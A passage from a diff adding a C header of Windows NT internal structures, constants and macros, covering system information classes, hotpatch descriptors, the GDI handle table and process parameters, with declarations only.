ULONG VetoType; + UNICODE_STRING VetoList; +} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; + +typedef struct _SYSTEM_VDM_INSTEMUL_INFO +{ + ULONG SegmentNotPresent; + ULONG VdmOpcode0F; + ULONG OpcodeESPrefix; + ULONG OpcodeCSPrefix; + ULONG OpcodeSSPrefix; + ULONG OpcodeDSPrefix; + ULONG OpcodeFSPrefix; + ULONG OpcodeGSPrefix; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB; + ULONG OpcodeINSW; + ULONG OpcodeOUTSB; + ULONG OpcodeOUTSW; + ULONG OpcodePUSHF; + ULONG OpcodePOPF; + ULONG OpcodeINTnn; + ULONG OpcodeINTO; + ULONG OpcodeIRET; + ULONG OpcodeINBimm; + ULONG OpcodeINWimm; + ULONG OpcodeOUTBimm; + ULONG OpcodeOUTWimm; + ULONG OpcodeINB; + ULONG OpcodeINW; + ULONG OpcodeOUTB; + ULONG OpcodeOUTW; + ULONG OpcodeLOCKPrefix; + ULONG OpcodeREPNEPrefix; + ULONG OpcodeREPPrefix; + ULONG OpcodeHLT; + ULONG OpcodeCLI; + ULONG OpcodeSTI; + ULONG BopCount; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +#if defined(_M_X64) +typedef ULONG SYSINF_PAGE_COUNT; +#else +typedef SIZE_T SYSINF_PAGE_COUNT; +#endif + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + SYSINF_PAGE_COUNT NumberOfPhysicalPages; + SYSINF_PAGE_COUNT LowestPhysicalPageNumber; + SYSINF_PAGE_COUNT HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // Checked Build + LARGE_INTEGER InterruptTime; // Checked Build + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION { + ULONGLONG IdleTime; + ULONGLONG C1Time; + ULONGLONG C2Time; + ULONGLONG C3Time; + ULONG C1Transitions; + ULONG C2Transitions; + ULONG C3Transitions; + ULONG Padding; +} SYSTEM_PROCESSOR_IDLE_INFORMATION, *PSYSTEM_PROCESSOR_IDLE_INFORMATION; + +typedef struct _SYSTEM_NUMA_INFORMATION { + ULONG HighestNodeNumber; + ULONG Reserved; + union { + ULONG64 ActiveProcessorsAffinityMask[ 16 ]; + ULONG64 AvailableMemory[ 16 ]; + }; +} SYSTEM_NUMA_INFORMATION, *PSYSTEM_NUMA_INFORMATION; + +#if !defined(_WINNT_) + +typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP +{ + RelationProcessorCore, + RelationNumaNode, + RelationCache, + RelationProcessorPackage +} LOGICAL_PROCESSOR_RELATIONSHIP; + +typedef enum _PROCESSOR_CACHE_TYPE +{ + CacheUnified, + CacheInstruction, + CacheData, + CacheTrace +} PROCESSOR_CACHE_TYPE; + +#define CACHE_FULLY_ASSOCIATIVE 0xFF + +typedef struct _CACHE_DESCRIPTOR +{ + BYTE Level; + BYTE Associativity; + WORD LineSize; + DWORD Size; + PROCESSOR_CACHE_TYPE Type; +} CACHE_DESCRIPTOR, *PCACHE_DESCRIPTOR; + +typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { + ULONG_PTR ProcessorMask; + LOGICAL_PROCESSOR_RELATIONSHIP Relationship; + union { + struct { + BYTE Flags; + } ProcessorCore; + struct { + DWORD NodeNumber; + } NumaNode; + CACHE_DESCRIPTOR Cache; + ULONGLONG Reserved[2]; + }; +} SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION; + +#define PROCESSOR_INTEL_386 386 +#define PROCESSOR_INTEL_486 486 +#define PROCESSOR_INTEL_PENTIUM 586 +#define PROCESSOR_INTEL_IA64 2200 +#define PROCESSOR_AMD_X8664 8664 +#define PROCESSOR_MIPS_R4000 4000 // incl R4101 & R3910 for Windows CE +#define PROCESSOR_ALPHA_21064 21064 +#define PROCESSOR_PPC_601 601 +#define PROCESSOR_PPC_603 603 +#define PROCESSOR_PPC_604 604 +#define PROCESSOR_PPC_620 620 +#define PROCESSOR_HITACHI_SH3 10003 // Windows CE +#define PROCESSOR_HITACHI_SH3E 10004 // Windows CE +#define PROCESSOR_HITACHI_SH4 10005 // Windows CE +#define PROCESSOR_MOTOROLA_821 821 // Windows CE +#define PROCESSOR_SHx_SH3 103 // Windows CE +#define PROCESSOR_SHx_SH4 104 // Windows CE +#define PROCESSOR_STRONGARM 2577 // Windows CE - 0xA11 +#define PROCESSOR_ARM720 1824 // Windows CE - 0x720 +#define PROCESSOR_ARM820 2080 // Windows CE - 0x820 +#define PROCESSOR_ARM920 2336 // Windows CE - 0x920 +#define PROCESSOR_ARM_7TDMI 70001 // Windows CE +#define PROCESSOR_OPTIL 0x494f // MSIL + +#define PROCESSOR_ARCHITECTURE_INTEL 0 +#define PROCESSOR_ARCHITECTURE_MIPS 1 +#define PROCESSOR_ARCHITECTURE_ALPHA 2 +#define PROCESSOR_ARCHITECTURE_PPC 3 +#define PROCESSOR_ARCHITECTURE_SHX 4 +#define PROCESSOR_ARCHITECTURE_ARM 5 +#define PROCESSOR_ARCHITECTURE_IA64 6 +#define PROCESSOR_ARCHITECTURE_ALPHA64 7 +#define PROCESSOR_ARCHITECTURE_MSIL 8 +#define PROCESSOR_ARCHITECTURE_AMD64 9 +#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 10 + +#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xFFFF + +#define PF_FLOATING_POINT_PRECISION_ERRATA 0 +#define PF_FLOATING_POINT_EMULATED 1 +#define PF_COMPARE_EXCHANGE_DOUBLE 2 +#define PF_MMX_INSTRUCTIONS_AVAILABLE 3 +#define PF_PPC_MOVEMEM_64BIT_OK 4 +#define PF_ALPHA_BYTE_INSTRUCTIONS 5 +#define PF_XMMI_INSTRUCTIONS_AVAILABLE 6 +#define PF_3DNOW_INSTRUCTIONS_AVAILABLE 7 +#define PF_RDTSC_INSTRUCTION_AVAILABLE 8 +#define PF_PAE_ENABLED 9 +#define PF_XMMI64_INSTRUCTIONS_AVAILABLE 10 +#define PF_SSE_DAZ_MODE_AVAILABLE 11 +#define PF_NX_ENABLED 12 +#define PF_SSE3_INSTRUCTIONS_AVAILABLE 13 +#define PF_COMPARE_EXCHANGE128 14 +#define PF_COMPARE64_EXCHANGE128 15 +#define PF_CHANNELS_ENABLED 16 + +typedef struct _MEMORY_BASIC_INFORMATION +{ + PVOID BaseAddress; + PVOID AllocationBase; + DWORD AllocationProtect; + SIZE_T RegionSize; + DWORD State; + DWORD Protect; + DWORD Type; +} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; + +#endif /*_WINNT_*/ + +typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION { + UCHAR CurrentFrequency; + UCHAR ThermalLimitFrequency; + UCHAR ConstantThrottleFrequency; + UCHAR DegradedThrottleFrequency; + UCHAR LastBusyFrequency; + UCHAR LastC3Frequency; + UCHAR LastAdjustedBusyFrequency; + UCHAR ProcessorMinThrottle; + UCHAR ProcessorMaxThrottle; + ULONG NumberOfFrequencies; + ULONG PromotionCount; + ULONG DemotionCount; + ULONG ErrorCount; + ULONG RetryCount; + ULONG64 CurrentFrequencyTime; + ULONG64 CurrentProcessorTime; + ULONG64 CurrentProcessorIdleTime; + ULONG64 LastProcessorTime; + ULONG64 LastProcessorIdleTime; +} SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + SYSINF_PAGE_COUNT CommittedPages; + SYSINF_PAGE_COUNT CommitLimit; + SYSINF_PAGE_COUNT PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG AvailablePagedPoolPages; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION { + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG_PTR StringStart; + SYSTEM_MEMORY_INFO Memory[ 1 ]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +typedef struct _SYSTEM_FLAGS_INFORMATION { + ULONG Flags; +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +typedef struct _SYSTEM_CALL_TIME_INFORMATION { + ULONG Length; + ULONG TotalCalls; + LARGE_INTEGER TimeOfCalls[1]; +} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION { + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + OBJECT_NAME_INFORMATION NameInfo; +} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; + +typedef struct _SYSTEM_PAGEFILE_INFORMATION { + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; +} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION { + ULONG NextEntryOffset; + ULONG Level; + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; + +} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION_EX +{ + ULONG VerifyMode; + ULONG OptionChanges; + UNICODE_STRING PreviousBucketName; + ULONG Reserved[ 4 ]; +} SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX; + +#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 +#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 +#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 +#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +#define FLG_HOTPATCH_KERNEL 0x80000000 +#define FLG_HOTPATCH_RELOAD_NTDLL 0x40000000 +#define FLG_HOTPATCH_NAME_INFO 0x20000000 +#define FLG_HOTPATCH_RENAME_INFO 0x10000000 +#define FLG_HOTPATCH_MAP_ATOMIC_SWAP 0x08000000 +#define FLG_HOTPATCH_WOW64 0x04000000 + +#define FLG_HOTPATCH_ACTIVE 0x00000001 +#define FLG_HOTPATCH_STATUS_FLAGS FLG_HOTPATCH_ACTIVE + +#define FLG_HOTPATCH_VERIFICATION_ERROR 0x00800000 + +typedef struct _HOTPATCH_HOOK_DESCRIPTOR +{ + ULONG_PTR TargetAddress; + PVOID MappedAddress; + ULONG CodeOffset; + ULONG CodeSize; + ULONG OrigCodeOffset; + ULONG ValidationOffset; + ULONG ValidationSize; +} HOTPATCH_HOOK_DESCRIPTOR, *PHOTPATCH_HOOK_DESCRIPTOR; + +typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION { + + ULONG Flags; + ULONG InfoSize; + + union + { + struct + { + ULONG DescriptorsCount; + HOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // variable size structure + } CodeInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + } KernelInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + USHORT TargetNameOffset; + USHORT TargetNameLength; + } UserModeInfo; + + struct + { + HANDLE FileHandle1; + PIO_STATUS_BLOCK IoStatusBlock1; + PFILE_RENAME_INFORMATION RenameInformation1; + ULONG RenameInformationLength1; + HANDLE FileHandle2; + PIO_STATUS_BLOCK IoStatusBlock2; + PFILE_RENAME_INFORMATION RenameInformation2; + ULONG RenameInformationLength2; + } RenameInfo; + + struct + { + HANDLE ParentDirectory; + HANDLE ObjectHandle1; + HANDLE ObjectHandle2; + } AtomicSwap; + }; + +} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION; + +typedef struct _KERNEL_USER_TIMES { + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES; +typedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES; + +typedef enum _WATCHDOG_HANDLER_ACTION +{ + WdActionSetTimeoutValue, + WdActionQueryTimeoutValue, + WdActionResetTimer, + WdActionStopTimer, + WdActionStartTimer, + WdActionSetTriggerAction, + WdActionQueryTriggerAction, + WdActionQueryState, + WdActionSleep, + WdActionWake +} WATCHDOG_HANDLER_ACTION; + +typedef enum _WATCHDOG_INFORMATION_CLASS { + WdInfoTimeoutValue, + WdInfoResetTimer, + WdInfoStopTimer, + WdInfoStartTimer, + WdInfoTriggerAction, + WdInfoState +} WATCHDOG_INFORMATION_CLASS; + +typedef + NTSTATUS + (*PWD_HANDLER)( + IN WATCHDOG_HANDLER_ACTION Action, + IN PVOID Context, + IN OUT PULONG DataValue, + IN BOOLEAN NoLocks + ); + +typedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION { + PWD_HANDLER WdHandler; + PVOID Context; +} SYSTEM_WATCHDOG_HANDLER_INFORMATION, *PSYSTEM_WATCHDOG_HANDLER_INFORMATION; + +#define WDSTATE_FIRED 0x00000001 +#define WDSTATE_HARDWARE_ENABLED 0x00000002 +#define WDSTATE_STARTED 0x00000004 +#define WDSTATE_HARDWARE_PRESENT 0x00000008 + +typedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION { + WATCHDOG_INFORMATION_CLASS WdInfoClass; + ULONG DataValue; +} SYSTEM_WATCHDOG_TIMER_INFORMATION, *PSYSTEM_WATCHDOG_TIMER_INFORMATION; + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +#define GDI_HANDLE_INDEX_SHIFT 0 +#define GDI_HANDLE_INDEX_BITS 16 +#define GDI_HANDLE_INDEX_MASK 0xffff + +#define GDI_HANDLE_TYPE_SHIFT 16 +#define GDI_HANDLE_TYPE_BITS 5 +#define GDI_HANDLE_TYPE_MASK 0x1f + +#define GDI_HANDLE_ALTTYPE_SHIFT 21 +#define GDI_HANDLE_ALTTYPE_BITS 2 +#define GDI_HANDLE_ALTTYPE_MASK 0x3 + +#define GDI_HANDLE_STOCK_SHIFT 23 +#define GDI_HANDLE_STOCK_BITS 1 +#define GDI_HANDLE_STOCK_MASK 0x1 + +#define GDI_HANDLE_UNIQUE_SHIFT 24 +#define GDI_HANDLE_UNIQUE_BITS 8 +#define GDI_HANDLE_UNIQUE_MASK 0xff + +#define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK) +#define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK) +#define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK) +#define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK) + +#define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index))) + +// GDI server-side types + +#define GDI_DEF_TYPE 0 +#define GDI_DC_TYPE 1 +#define GDI_DD_DIRECTDRAW_TYPE 2 +#define GDI_DD_SURFACE_TYPE 3 +#define GDI_RGN_TYPE 4 +#define GDI_SURF_TYPE 5 +#define GDI_CLIENTOBJ_TYPE 6 +#define GDI_PATH_TYPE 7 +#define GDI_PAL_TYPE 8 +#define GDI_ICMLCS_TYPE 9 +#define GDI_LFONT_TYPE 10 +#define GDI_RFONT_TYPE 11 +#define GDI_PFE_TYPE 12 +#define GDI_PFT_TYPE 13 +#define GDI_ICMCXF_TYPE 14 +#define GDI_ICMDLL_TYPE 15 +#define GDI_BRUSH_TYPE 16 +#define GDI_PFF_TYPE 17 // unused +#define GDI_CACHE_TYPE 18 // unused +#define GDI_SPACE_TYPE 19 +#define GDI_DBRUSH_TYPE 20 // unused +#define GDI_META_TYPE 21 +#define GDI_EFSTATE_TYPE 22 +#define GDI_BMFD_TYPE 23 // unused +#define GDI_VTFD_TYPE 24 // unused +#define GDI_TTFD_TYPE 25 // unused +#define GDI_RC_TYPE 26 // unused +#define GDI_TEMP_TYPE 27 // unused +#define GDI_DRVOBJ_TYPE 28 +#define GDI_DCIOBJ_TYPE 29 // unused +#define GDI_SPOOL_TYPE 30 + +// GDI client-side types + +#define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \ + (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT))) +#define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16) + +#define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT) + +#define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT) + +#define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3) +#define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1) + +typedef struct _GDI_HANDLE_ENTRY +{ + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY +{ + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define WOW64_SYSTEM_DIRECTORY "SysWOW64" +#define WOW64_SYSTEM_DIRECTORY_U L"SysWOW64" +#define WOW64_X86_TAG " (x86)" +#define WOW64_X86_TAG_U L" (x86)" + +typedef enum _WOW64_SHARED_INFORMATION +{ + SharedNtdll32LdrInitializeThunk = 0, + SharedNtdll32KiUserExceptionDispatcher = 1, + SharedNtdll32KiUserApcDispatcher = 2, + SharedNtdll32KiUserCallbackDispatcher = 3, + SharedNtdll32LdrHotPatchRoutine = 4, + SharedNtdll32ExpInterlockedPopEntrySListFault = 5, + 